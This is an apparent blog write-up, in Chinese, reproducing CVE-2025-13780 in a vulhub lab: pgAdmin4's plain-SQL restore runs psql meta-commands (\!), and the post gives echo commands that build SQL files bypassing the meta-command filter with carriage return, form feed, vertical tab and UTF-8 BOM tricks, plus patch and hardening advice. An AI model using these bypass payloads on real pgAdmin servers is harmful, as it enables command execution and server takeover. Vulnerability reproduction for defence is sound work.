pgAdmin4后台Restore RCE(CVE-2025-13780)复现

简介

pgAdmin是一个流行且功能丰富的开源PostgreSQL数据库管理和开发平台,广泛被数据库管理员和开发者用于通过Web界面管理PostgreSQL数据库。

pgAdmin4 9.11版本之前存在一个远程代码执行漏洞。pgAdmin4的restore功能使用psql命令行程序执行用户上传的纯文本格式sql文件 。攻击者可以利用特殊字符绕过pgAdmin4对文件内容的安全检查,在sql文件中嵌入meta command (\!),使psql程序执行系统命令。

搭建

pgAdmin4 9.10

bash 复制代码
#vulhub
cd vulhub/pgadmin/CVE-2025-13780
docker-compose up -d

登录凭据为vulhub@example.com:vulhub

访问 http://ip:5050

sql:vulhub:vulhub

复现

文件生成

test.sql:

bash 复制代码
echo -ne "SELECT 1;\n\\! bash -c 'touch /tmp/hacked2'\n" > test.sql

test2.sql:

bash 复制代码
echo -ne "SELECT 1;\r\n\\! bash -c 'touch /tmp/hacked2'\n" > test2.sql

payload.sql:

bash 复制代码
echo -ne "SELECT 1;\r\\! bash -c 'touch /tmp/hacked2'\r" > payload.sql

开始"restore"

点击 servers 输入密码登录数据库后,server - main - database - vulhub ,然后右键点击 restore

上传sql文件

选择文件

选择"upload"

单击页面并选择文件

点击上面的"x"返回

选择刚才的文件

restore执行

切换格式为"Plain "并执行payload

else

如果选择test.sql\test2.sql :

恢复被阻止:所选纯SQL文件包含psql元命令(例如\!或\i)。出于安全考虑,pgAdmin不会执行纯恢复中的元命令。请移除元命令。

原来的代码has_meta_commands()函数使用br'(^|\n)[ \t]*\\',只识别\n作为行开始,将反斜杠前的空格和制表符 视为可忽略字符以及在二进制模式下扫描文件

故除了使用\r,还可以通过多种方式构造payload绕过pgAdmin的has_meta_commands()函数检测

bash 复制代码
# 垂直制表符
echo -ne "SELECT 1;\x0c\\! ls>/tmp/ls" > payload_ff.sql

# 换页符
echo -ne "SELECT 1;\x0b\\! id>/tmp/id" > payload_vt.sql

# UTF-8 BOM绕过
echo -ne "\xef\xbb\xbf\\! echo utf_bom>/tmp/bom" > payload_bom.sql

借鉴:高危 pgAdmin 远程代码执行漏洞(CVE-2025-13780)绕过此前修复:可通过恶意数据库恢复实现服务器接管-安全KER - 安全资讯平台

防御

  1. 立即升级 pgAdmin 至 ≥ 9.11,官方已修复该漏洞。
  2. 在升级前,避免在服务器模式下从不可信来源恢复 PLAIN 格式 SQL 文件。
  3. 对数据库恢复功能增加严格的文件内容过滤与命令执行隔离。
  4. 使用最小权限原则运行 pgAdmin 服务账户,降低被利用后的危害范围。
相关推荐
北冥you鱼14 小时前
Go-Ethereum (Geth) 最佳实践:从部署到生产环境优化
开发语言·后端·golang
程序员爱钓鱼15 小时前
Rust 函数与返回值详解:参数、表达式与返回类型
后端·rust
tiancaijiben1 天前
阿里云SSL证书自动续签与部署完全指南:从托管服务到开源工具全方案解析
数据库
全堆鸿蒙1 天前
25 数据库设计与表结构规划:5 张表的设计思路
数据库·华为·cocoa·harmonyos
笃行3501 天前
【金仓数据库产品体验官】_坏得起_实测:备份恢复、PITR 时间穿越与主备切换——KingbaseES V9R3C18 深度体验(三)
数据库
笃行3501 天前
从兼容到进阶:驱动直连、窗口函数与动态 SQL 实测——KingbaseES V9R3C18 深度体验(二)
数据库
笃行3501 天前
MySQL 的 JSON 字段迁到金仓还能用吗?——KingbaseES V9R3C18 JSON 操作符与函数兼容实测
数据库
IpdataCloud1 天前
跨境AI金融风险怎么防?IP风险画像的实战应用指南
数据库·tcp/ip·金融·ip
遨游DATA1 天前
Spring Boot 启动失败排查:如何区分多 Bean 冲突与清理阶段异常
java·spring boot·后端
IT_陈寒1 天前
Java线程池这个坑我算是踩明白了
前端·人工智能·后端